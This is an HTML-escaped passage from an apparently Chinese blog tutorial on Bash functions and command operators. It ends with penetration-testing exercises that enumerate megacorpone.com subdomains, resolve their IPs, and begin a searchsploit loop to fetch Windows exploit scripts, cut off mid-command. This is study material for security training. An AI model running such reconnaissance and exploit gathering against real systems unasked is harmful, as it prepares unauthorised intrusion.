&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;factorial 5&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;5! = &lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 输出 &amp;#34;5! = 120&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516143630431" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516143630431.png"&gt;&lt;/p&gt;
&lt;h4 id="函数库"&gt;&lt;strong&gt;函数库&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;将常用函数保存为独立文件（如 &lt;code&gt;utils.sh&lt;/code&gt;），通过 &lt;code&gt;source&lt;/code&gt; 导入：to_upper函数实现小写转大写。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# utils.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;to_upper&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;[:lower:]&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[:upper:]&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# main.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;source&lt;/span&gt; utils.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;to_upper &lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516144109807" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516144109807.png"&gt;&lt;/p&gt;
&lt;h3 id="6-注意事项"&gt;&lt;strong&gt;6. 注意事项&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定义顺序&lt;/strong&gt;：函数必须在调用之前定义。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;命名冲突&lt;/strong&gt;：避免函数名与系统命令或别名重复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;参数传递&lt;/strong&gt;：参数通过空格分隔，若参数含空格需用引号包裹（如 &lt;code&gt;func &amp;quot;参数 1&amp;quot;&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;返回值限制&lt;/strong&gt;：&lt;code&gt;return&lt;/code&gt; 只能返回 0-255 的整数，返回字符串或复杂数据需用 &lt;code&gt;echo&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="布尔逻辑运算"&gt;布尔逻辑运算
&lt;/h2&gt;&lt;p&gt;在 Bash 中，&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;、&lt;code&gt;||&lt;/code&gt;、&lt;code&gt;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;|&lt;/code&gt; 是常用的操作符，用于控制命令的执行逻辑和流程。以下是它们的详细解释及示例：&lt;/p&gt;
&lt;h3 id="1-1"&gt;&lt;strong&gt;1. &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;（逻辑与）&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：只有 &lt;strong&gt;前一个命令成功执行&lt;/strong&gt;（退出状态码为 &lt;code&gt;0&lt;/code&gt;），才会执行后面的命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mkdir mydir &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; mydir &lt;span class="c1"&gt;# 先创建目录，若成功则进入该目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;mkdir mydir&lt;/code&gt; 成功（目录创建成功），则执行 &lt;code&gt;cd mydir&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;如果 &lt;code&gt;mkdir&lt;/code&gt; 失败（如目录已存在），则不会执行 &lt;code&gt;cd&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-1"&gt;&lt;strong&gt;2. &lt;code&gt;||&lt;/code&gt;（逻辑或）&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：只有 &lt;strong&gt;前一个命令执行失败&lt;/strong&gt;（退出状态码非 &lt;code&gt;0&lt;/code&gt;），才会执行后面的命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ping -c1 google.com &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;网络不可达&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 若 ping 失败，则提示错误&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;ping&lt;/code&gt; 失败（网络断开），则执行 &lt;code&gt;echo&lt;/code&gt; 输出提示。&lt;/li&gt;
&lt;li&gt;如果 &lt;code&gt;ping&lt;/code&gt; 成功，不执行 &lt;code&gt;echo&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-1"&gt;&lt;strong&gt;3. &lt;code&gt;&amp;amp;&lt;/code&gt;（后台执行）&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：将命令放入 &lt;strong&gt;后台执行&lt;/strong&gt;，终端可继续输入其他命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sleep &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="c1"&gt;# 后台休眠10秒，终端可继续操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;命令后加 &lt;code&gt;&amp;amp;&lt;/code&gt; 会返回一个后台进程的 &lt;code&gt;PID&lt;/code&gt;（如 &lt;code&gt;[1] 12345&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;可通过 &lt;code&gt;jobs&lt;/code&gt; 查看后台任务，&lt;code&gt;fg %1&lt;/code&gt; 将任务调回前台。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4"&gt;&lt;strong&gt;4. &lt;code&gt;|&lt;/code&gt;（管道）&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：将 &lt;strong&gt;前一个命令的输出&lt;/strong&gt; 作为 &lt;strong&gt;后一个命令的输入&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat log.txt &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;error&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; wc -l &lt;span class="c1"&gt;# 统计 log.txt 中 &amp;#34;error&amp;#34; 的行数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cat log.txt&lt;/code&gt; 输出文件内容。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grep &amp;quot;error&amp;quot;&lt;/code&gt; 过滤含 &amp;ldquo;error&amp;rdquo; 的行。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wc -l&lt;/code&gt; 统计行数。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="组合使用示例"&gt;&lt;strong&gt;组合使用示例&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="场景下载文件若失败则重试成功后解压并删除原文件"&gt;&lt;strong&gt;场景&lt;/strong&gt;：下载文件，若失败则重试，成功后解压并删除原文件。
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://example.com/file.tar.gz &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tar -xzf file.tar.gz &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;下载失败，请检查网络！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;wget&lt;/code&gt; 下载文件，若成功则执行 &lt;code&gt;tar&lt;/code&gt; 解压。&lt;/li&gt;
&lt;li&gt;若 &lt;code&gt;wget&lt;/code&gt; 失败，直接执行 &lt;code&gt;echo&lt;/code&gt; 提示错误。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="符号优先级"&gt;&lt;strong&gt;符号优先级&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;默认优先级&lt;/strong&gt;：&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; 和 &lt;code&gt;||&lt;/code&gt; 的优先级低于 &lt;code&gt;|&lt;/code&gt; 和 &lt;code&gt;&amp;amp;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;强制优先级&lt;/strong&gt;：用 &lt;code&gt;() &lt;/code&gt; 或&lt;code&gt; {} &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分组&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;cmd1 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cmd2&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; cmd3 &lt;span class="c1"&gt;# 若 cmd1 和 cmd2 都成功则不执行 cmd3，否则执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="实操练习1-网页地址查找"&gt;实操练习1-网页地址查找
&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250516145203881" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516145203881.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget www.megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ls -al index.html 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516145036474" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516145036474.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;\.megacorpone&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;www\.megacorpone\.com&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;\.megacorpone&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;www\.megacorpone\.com&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk -F &lt;span class="s2"&gt;&amp;#34;http://&amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html &lt;span class="c1"&gt;# 1. 提取所有包含 href= 的 HTML 行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;\.megacorpone&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 2. 筛选含 .megacorpone 的行（子域名或路径）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;www\.megacorpone\.com&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 3. 排除含 www.megacorpone.com 的行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; head &lt;span class="c1"&gt;# 4. 仅显示前 10 条结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516145247591" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516145247591.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;href=&amp;#34;&lt;/span&gt; index.html &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;\.megacorpone&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;www\.megacorpone\.com&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk -F &lt;span class="s2"&gt;&amp;#34;http://&amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep -o &lt;span class="s1"&gt;&amp;#39;[^/]*\.megacorpone\.com&amp;#39;&lt;/span&gt; index.html &lt;span class="p"&gt;|&lt;/span&gt; sort -u &amp;gt; list.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;命令 1：提取特定子域名并处理链接结构&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="分步解析"&gt;&lt;strong&gt;分步解析&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep &amp;quot;href=&amp;quot; index.html&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;从 &lt;code&gt;index.html&lt;/code&gt; 中提取所有包含 &lt;code&gt;href=&lt;/code&gt; 的行（HTML 超链接标签）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep &amp;quot;\.megacorpone&amp;quot;&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;筛选包含 &lt;code&gt;.megacorpone&lt;/code&gt; 的行（匹配子域名或路径中的该字段）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep -v &amp;quot;www\.megacorpone\.com&amp;quot;&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;排除&lt;/strong&gt;包含 &lt;code&gt;www.megacorpone.com&lt;/code&gt; 的行（主站域名）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;awk -F &amp;quot;http://&amp;quot; '{print $2}'&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;以 &lt;code&gt;http://&lt;/code&gt; 为分隔符，提取其后的内容（如 &lt;code&gt;cdn.megacorpone.com/style.css&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;cut -d &amp;quot;/&amp;quot; -f 1&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;以 &lt;code&gt;/&lt;/code&gt; 为分隔符，提取第一个字段（即域名部分，如 &lt;code&gt;cdn.megacorpone.com&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;命令 2：直接匹配并收集所有子域名&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="分步解析-1"&gt;&lt;strong&gt;分步解析&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;grep -o '[^/]\*\.megacorpone\.com'&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-o&lt;/code&gt;：仅输出匹配的部分。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;正则&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[^/]*\.megacorpone\.com
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[^/]*&lt;/code&gt;：匹配不包含 &lt;code&gt;/&lt;/code&gt; 的任意字符（避免包含路径或端口）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\.megacorpone\.com&lt;/code&gt;：匹配以 &lt;code&gt;.megacorpone.com&lt;/code&gt; 结尾的域名。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sort -u&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对结果排序并去重（&lt;code&gt;-u&lt;/code&gt; 表示唯一性）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;gt; list.txt&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将结果保存到 &lt;code&gt;list.txt&lt;/code&gt; 文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250516145504949" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516145504949.png"&gt;&lt;/p&gt;
&lt;p&gt;主机ip筛查&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; url in &lt;span class="k"&gt;$(&lt;/span&gt;cat list.txt&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; url in &lt;span class="k"&gt;$(&lt;/span&gt;cat list.txt&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host &lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;has address&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;4&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -u
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516151236442" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516151236442.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250516151542562" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516151542562.png"&gt;&lt;/p&gt;
&lt;p&gt;查找发现教材上的示例网页页面中的子域名，ip主要集中在加拿大（这里和教材示例不同，推测是因为使用了VPN的缘故，以及网页距离写教材时已经过去多年，更换过服务器）。&lt;/p&gt;
&lt;h2 id="实操练习2-筛选漏洞脚本并下载"&gt;实操练习2-筛选漏洞脚本并下载
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit afd windows -w -t
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit afd windows -w -t &lt;span class="p"&gt;|&lt;/span&gt; grep http &lt;span class="p"&gt;|&lt;/span&gt; cut -f &lt;span class="m"&gt;2&lt;/span&gt; -d &lt;span class="s2"&gt;&amp;#34;|&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;mkdir afd &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; afd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; e in &lt;span class="k"&gt;$(&lt;/span&gt;searchsploit afd windows -w -t &lt;span class="p"&gt;|&lt;/span&gt; grep http &lt;span class="p"&gt;|&lt;/span&gt; cut -f &lt;span class="m"&gt;2&lt;/span&gt; -d &lt;span class="s2"&gt;&amp;#34;|&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="nv"&gt;exp_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;/&amp;#34;&lt;/span&gt; -f 5&lt;span 